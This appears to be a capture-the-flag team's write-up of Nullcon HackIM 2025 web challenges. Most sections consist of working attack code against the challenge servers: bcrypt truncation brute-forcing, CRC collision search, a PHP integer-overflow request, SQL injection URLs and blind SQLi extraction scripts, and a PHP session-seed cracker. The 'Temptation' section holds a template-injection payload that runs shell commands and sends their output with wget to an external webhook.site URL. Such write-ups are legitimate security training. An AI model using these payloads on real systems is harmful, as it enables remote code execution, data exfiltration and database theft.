team-logo
Published on

Nullcon Goa HackIM 2025 - WEB challenges

Authors

Table of contents

Bfail

alt text

Writeup author: AUXZAE

Bcrypt processes only the first 72 bytes and the source code reveals 71 of them, we only need to brute-force the last remaining byte.

import bcrypt
import requests
import itertools

known_bytes = b'\xec\x9f\xe0a\x978\xfc\xb6:T\xe2\xa0\xc9<\x9e\x1a\xa5\xfao\xb2\x15\x86\xe5$\x86Z\x1a\xd4\xca#\x15\xd2x\xa0\x0e0\xca\xbc\x89T\xc5V6\xf1\xa4\xa8S\x8a%I\xd8gI\x15\xe9\xe7$M\x15\xdc@\xa9\xa1@\x9c\xeee\xe0\xe0\xf76'

admin_hash = b'$2b$12$8bMrI6D9TMYXeMv8pq8RjemsZg.HekhkQUqLymBic/cRhiKRa3YPK'


def try_variations(base_input):
    unknown_length = 72 - len(base_input)
    print(f"Trying {256**unknown_length} possibilities for {unknown_length} unknown byte(s)...")

    for guess in itertools.product(range(256), repeat=unknown_length):
        candidate = base_input + bytes(guess)
        if bcrypt.checkpw(candidate, admin_hash):
            print("Found valid candidate!")
            return candidate
    print("No candidate found!")
    return None

def solve():
    solution = try_variations(known_bytes)
    
    if solution:
        url = "http://52.59.124.14:5013/"
        data = {
            "username": "admin",
            "password": solution
        }
        r = requests.get(url, data=data)
        print(r.text)

if __name__ == "__main__":
    solve()

Flag: ENO{BCRYPT_FAILS_TO_B_COOL_IF_THE_PW_IS_TOO_LONG}

Crahp

alt text

Writeup author: null_byte

Solution code:

import random


# CRC16 implementation from PHP source
def crc16(string):
    crc = 0xFFFF
    for char in string:
        crc = crc ^ ord(char)
        for _ in range(8):
            if (crc & 0x0001) == 0x0001:
                crc = (crc >> 1) ^ 0xA001
            else:
                crc = crc >> 1
    return crc


# CRC8 implementation from PHP source
def crc8(input_str):
    crc8_table = [
        0x00, 0x07,0x0E,0x09,0x1C,0x1B,0x12,0x15,0x38,
        0x3F,0x36,0x31,0x24,0x23,0x2A,0x2D,0x70,0x77,
        0x7E,0x79,0x6C,0x6B,0x62,0x65,0x48,0x4F,0x46,
        0x41,0x54,0x53,0x5A,0x5D,0xE0,0xE7,0xEE,0xE9,
        0xFC,0xFB,0xF2,0xF5,0xD8,0xDF,0xD6,0xD1,0xC4,
        0xC3,0xCA,0xCD,0x90,0x97,0x9E,0x99,0x8C,0x8B,
        0x82,0x85,0xA8,0xAF,0xA6,0xA1,0xB4,0xB3,0xBA,
        0xBD,0xC7,0xC0,0xC9,0xCE,0xDB,0xDC,0xD5,0xD2,
        0xFF,0xF8,0xF1,0xF6,0xE3,0xE4,0xED,0xEA,0xB7,
        0xB0,0xB9,0xBE,0xAB,0xAC,0xA5,0xA2,0x8F,0x88,
        0x81,0x86,0x93,0x94,0x9D,0x9A,0x27,0x20,0x29,
        0x2E,0x3B,0x3C,0x35,0x32,0x1F,0x18,0x11,0x16,
        0x03,0x04,0x0D,0x0A,0x57,0x50,0x59,0x5E,0x4B,
        0x4C,0x45,0x42,0x6F,0x68,0x61,0x66,0x73,0x74,
        0x7D,0x7A,0x89,0x8E,0x87,0x80,0x95,0x92,0x9B,
        0x9C,0xB1,0xB6,0xBF,0xB8,0xAD,0xAA,0xA3,0xA4,
        0xF9,0xFE,0xF7,0xF0,0xE5,0xE2,0xEB,0xEC,0xC1,
        0xC6,0xCF,0xC8,0xDD,0xDA,0xD3,0xD4,0x69,0x6E,
        0x67,0x60,0x75,0x72,0x7B,0x7C,0x51,0x56,0x5F,
        0x58,0x4D,0x4A,0x43,0x44,0x19,0x1E,0x17,0x10,
        0x05,0x02,0x0B,0x0C,0x21,0x26,0x2F,0x28,0x3D,
        0x3A,0x33,0x34,0x4E,0x49,0x40,0x47,0x52,0x55,
        0x5C,0x5B,0x76,0x71,0x78,0x7F,0x6A,0x6D,0x64,
        0x63,0x3E,0x39,0x30,0x37,0x22,0x25,0x2C,0x2B,
        0x06,0x01,0x08,0x0F,0x1A,0x1D,0x14,0x13,0xAE,
        0xA9,0xA0,0xA7,0xB2,0xB5,0xBC,0xBB,0x96,0x91,
        0x98,0x9F,0x8A,0x8D,0x84,0x83,0xDE,0xD9,0xD0,
        0xD7,0xC2,0xC5,0xCC,0xCB,0xE6,0xE1,0xE8,0xEF,
        0xFA,0xFD,0xF4,0xF3 ]
    crc = 0
    for char in input_str:
        crc = crc8_table[(crc ^ ord(char)) & 0xFF]
    return crc & 0xFF


def find_collision():
    target = "AdM1nP@assW0rd!"
    target_crc16 = crc16(target)
    target_crc8 = crc8(target)
    length = len(target)

    # printable ASCII
    charset = "".join(chr(x) for x in range(32, 127))

    tries = 0
    crc16_matches = 0

    while True:
        tries += 1
        test = "".join(random.choice(charset) for _ in range(length))

        if test == target:
            continue

        test_crc16 = crc16(test)
        if test_crc16 != target_crc16:
            continue

        crc16_matches += 1

        test_crc8 = crc8(test)
        if test_crc8 != target_crc8:
            continue

        return test


if __name__ == "__main__":
    print("Start!")
    result = find_collision()
    print(f"\nFound: {result}")

Flag: ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}

Numberizer

alt text

Writeup author: rvr

The challenge code is as follows:

index.php
ini_set("error_reporting", 0);

if(isset($_GET['source'])) {
    highlight_file(__FILE__);
}

include "flag.php";

$MAX_NUMS = 5;

if(isset($_POST['numbers']) && is_array($_POST['numbers'])) {

    $numbers = array();
    $sum = 0;
    for($i = 0; $i < $MAX_NUMS; $i++) {
        if(!isset($_POST['numbers'][$i]) || strlen($_POST['numbers'][$i])>4 || !is_numeric($_POST['numbers'][$i])) {
            continue;
        }
        $the_number = intval($_POST['numbers'][$i]);
        if($the_number < 0) {
            continue;
        }
        $numbers[] = $the_number;
    }
    $sum = intval(array_sum($numbers));


    if($sum < 0) {
        echo "You win a flag: $FLAG";
    } else {
        echo "You win nothing with number $sum ! :-(";
    }
}

To receive the flag, the sum of the submitted numbers must be negative. Additionally, numbers must meet a few conditions:

  • They must be positive:
$the_number = intval($_POST['numbers'][$i]); 
if($the_number < 0) {
    continue;
}
  • The "length" of the number (understood as the number of digits) cannot exceed 4:
strlen($_POST['numbers'][$i])>4

To satisfy all these conditions and get the flag, an integer overflow must occur. Quoting Wikipedia:

In computer programming, an integer overflow occurs when an arithmetic operation on integers attempts to create a numeric value that is outside of the range that can be represented with a given number of digits – either higher than the maximum or lower than the minimum representable value.

By submitting a very large number in scientific notation, i.e. 9e19, after converting it to an integer, we will reach the maximum value allowed for an integer in a 64-bit system, which is 9223372036854775807. Then, by adding any positive number to it and converting the result using intval again, we will pass this max integer, causing the number to loop around from the maximum possible value to the minimum. This results in a negative number, thus giving us the flag.

$ curl -s 'http://52.59.124.14:5004/'  --data-raw 'numbers[]=9e19&numbers[]=1' | grep flag
You win a flag: ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}

Paginator

alt text

Writeup author: null_byte

After connecting, we get:

Try harder!
Paginator
Show me pages 2-10

To view the source code, click here. 

It's just a simple SQL injection:

http://52.59.124.14:5012/?p=2,-1%20OR%20id=1--,10

Result:

Flag (ID=1) has content: "RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvdyF9"
Paginator
Show me pages 2-10

To view the source code, click here. 

Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}

Paginator v2

alt text Writeup author: rvr

The challenge code is as follows:

index.php
...
include "flag.php"; // Now the juicy part is hidden away! $db = new SQLite3('/tmp/db.db');

try{
  $db->exec("CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)");
  ...
} catch(Exception $e) {
  //var_dump($e);
}


if(isset($_GET['p']) && str_contains($_GET['p'], ",")) {
  [$min, $max] = explode(",",$_GET['p']);
  if(intval($min) <= 1 ) {
    die("This post is not accessible...");
  }
  try {
    $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";
    $result = $db->query($q);
    while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
      echo $row['title'] . " (ID=". $row['id'] . ") has content: \"" . $row['content'] . "\"<br>";
    }
  }catch(Exception $e) {
    echo "Try harder!";
  }
} else {
    echo "Try harder!";
}
?>

We also know from the task description that the flag is hidden in another table:

Ok, we moved the critical information to a different table now... Can't go wrong this time, right?

Just like in the Paginator challenge, SQL injection also occurs here in the following line of code: $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max";

Due to the presence of the explode function: [$min, $max] = explode(",", $_GET['p']);, our injected SQL query cannot contain a ,, as it would be automatically truncated.

Therefore, we will use blind SQL injection to solve this task. First, let's find the table containing the flag and its columns:

find_table_and_columns.py
import requests
import base64

table_name = ""

def find_val(url):
    r = requests.get(url)
    return "has content" in r.text

for _ in range(0,8):
    for c in 'abcdef0123456789':
        url = f"http://52.59.124.14:5015/?p=2,300 and (SELECT 2 FROM sqlite_master WHERE type='table' AND tbl_name != 'pages' AND tbl_name NOT LIKE 'sqlite_%' AND hex(tbl_name) LIKE '{table_name}{c}%' ) = 2"
        if(find_val(url)):
            table_name += c
            print(table_name)
            break

table_name = bytes.fromhex(table_name).decode()
print("TABLE NAME", table_name)
columns = ''
for _ in range(0,26):
    for c in 'abcdef0123456789':
        url = f"http://52.59.124.14:5015/?p=2,300 and (select 2 from flag where (SELECT hex(group_concat(name)) FROM PRAGMA_TABLE_INFO('{table_name}')) like '{columns}{c}%' limit 1)=2-- -"
        if(find_val(url)):
            columns += c
            print(columns)
            break

columns = bytes.fromhex(columns).decode()
print("COLS", columns)

Then, determine the length of the flag and extract the flag itself.

get_flag.py
import requests
import base64

flag = ""

def find_val(url):
    r = requests.get(url)
    return "has content" in r.text

for i in range(30,100):
    url = f"http://52.59.124.14:5015/?p=2,300 and (SELECT length(value) from flag)={i}"
    if(find_val(url)):
        print("FLAG LENGTH", i)
        FLAG_LEN = i
        break

for _ in range(0,FLAG_LEN*2+1):
    for c in 'abcdef0123456789':
        url = f"http://52.59.124.14:5015/?p=2,300 and (SELECT 2 from flag where hex(value) like '{flag}{c}%')=2"
        if(find_val(url)):
            flag += c
            print(flag)
            break

flag = base64.b64decode(bytes.fromhex(flag))
print(flag)

Flag: ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow_AgA1n_And_Ag41n!}

Sess.io

alt text

Writeup author: null_byte

Just a solution:

<?php
define("ALPHA", str_split("abcdefghijklmnopqrstuvwxyz0123456789_-"));

$test_inputs = [
    'test16' => '0',
    'test37' => '1',
    'test36' => '2',
    'test13' => '3',
    'test6' => '4',
    'test1' => '5',
    'test12' => '6',
    'test9' => '7',
    'test3' => '8',
    'test29' => '9',
    'test2' => 'a',
    'test7' => 'b',
    'test10' => 'c',
    'test18' => 'd',
    'test5' => 'e',
    'test0' => 'f'
];

function get_session_id($username) {
    $url = 'http://52.59.124.14:5008';
    $data = http_build_query([
        'username' => $username,
        'password' => ''
    ]);
    
    $opts = [
        'http' => [
            'method' => 'POST',
            'header' => 'Content-Type: application/x-www-form-urlencoded',
            'content' => $data
        ]
    ];
    
    $context = stream_context_create($opts);
    $response = @file_get_contents($url, false, $context);
    
    if ($response === false) {
        return null;
    }
    
    $headers = $http_response_header ?? [];
    foreach ($headers as $header) {
        if (preg_match('/PHPSESSID=([^;]+)/', $header, $matches)) {
            return $matches[1];
        }
    }
    
    return null;
}

function check_seed($seed, $session_id) {
    mt_srand($seed);
    for ($i = 0; $i < 10; $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
        if ($generated !== $session_id[$i]) {
            return false;
        }
    }
    mt_srand($seed);
    for ($i = 0; $i < strlen($session_id); $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
        if ($generated !== $session_id[$i]) {
            return false;
        }
    }
    return true;
}

function crack_session($session_id) {
    $ranges = [
        [0x41, 0x5A], // A-Z
        [0x30, 0x39], // 0-9
        [0x20, 0x7E]  // rest of ASCII
    ];
    
    foreach ($ranges as $range) {
        for ($a = $range[0]; $a <= $range[1]; $a++) {
            echo sprintf("Testing first byte: %c (0x%02x)\n", $a, $a);
            for ($b = $range[0]; $b <= $range[1]; $b++) {
                for ($c = $range[0]; $c <= $range[1]; $c++) {
                    for ($d = $range[0]; $d <= $range[1]; $d++) {
                        $seed = ($a << 24) | ($b << 16) | ($c << 8) | $d;
                        if (check_seed($seed, $session_id)) {
                            return $seed;
                        }
                    }
                }
            }
        }
    }
    return null;
}

$sessions = [];
for ($i = 1; $i < $argc; $i++) {
    if (preg_match('/^([0-9a-f]):(.+)$/', $argv[$i], $matches)) {
        $sessions[$matches[1]] = $matches[2];
    }
}

if (empty($sessions)) {
    foreach ($test_inputs as $username => $hash_prefix) {
        echo "\nTrying username: $username (hash prefix: $hash_prefix)\n";
        
        $session_id = get_session_id($username);
        if (!$session_id) {
            echo "Failed to get session ID\n";
            continue;
        }
        
        $sessions[$hash_prefix] = $session_id;
    }
}

$flag_parts = [];
foreach ($sessions as $hash_prefix => $session_id) {
    echo "\nCracking session for hash prefix $hash_prefix\n";
    echo "Session ID: " . substr($session_id, 0, 30) . "...\n";
    
    $seed = crack_session($session_id);
    
    if ($seed !== null) {
        $bytes = pack('N', $seed);
        echo "Found seed: 0x" . dechex($seed) . "\n";
        echo "Flag part: $bytes\n";
        echo "Hex: " . bin2hex($bytes) . "\n";
        
        $pos = hexdec($hash_prefix);
        $flag_parts[$pos] = $bytes;
    }
}

if (count($flag_parts) > 0) {
    echo "\nFlag:\n";
    echo implode("", $flag_parts);
    echo "\n";
}
?>

Flag: ENO{SOME_SUPER_SECURE_FLAG_1333337_HACK}

Temptation

alt text Writeup author: zBlxst

If you set the source parameters you have the source code which contains a double format string vuln.

import requests
import sys

data = {
    "temptation": "${__import__(\"os\").system('wget --post-data=\"$(" + sys.argv[1] + ")\" https://webhook.site/84bfab3a-edbd-4ba9-90c3-24bdd93798bc')}",
    "submit": ""
}
r = requests.post("http://52.59.124.14:5011/", data=data)

Flag: ENO{T3M_Pl4T_3S_4r3_S3cUre!!}

ZONEy

alt text Writeup author: michalBB

That was easy challenge, but clever:

dig @52.59.124.14 -p 5007 A www.ZONEy.eno  

; <<>> DiG 9.20.4-3-Debian <<>> @52.59.124.14 -p 5007 A www.ZONEy.eno
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7364
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.ZONEy.eno.                 IN      A

;; ANSWER SECTION:
www.ZONEy.eno.          7200    IN      CNAME   challenge.ZONEy.eno.
challenge.ZONEy.eno.    7200    IN      A       127.0.0.1

;; AUTHORITY SECTION:
ZONEy.eno.              7200    IN      NS      ns1.ZONEy.eno.
ZONEy.eno.              7200    IN      NS      ns2.ZONEy.eno.

;; ADDITIONAL SECTION:
ns1.ZONEy.eno.          7200    IN      A       127.0.0.1
ns2.ZONEy.eno.          7200    IN      A       127.0.0.1

;; Query time: 28 msec
;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP)
;; WHEN: Sat Feb 01 19:09:06 CET 2025
;; MSG SIZE  rcvd: 150

You found challenge zone but need more:

dig @52.59.124.14 -p 5007 DNSKEY challenge.ZONEy.eno +dnssec
dig @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno

Flag: ENO{1337_Fl4G_NSeC_W4LK3R}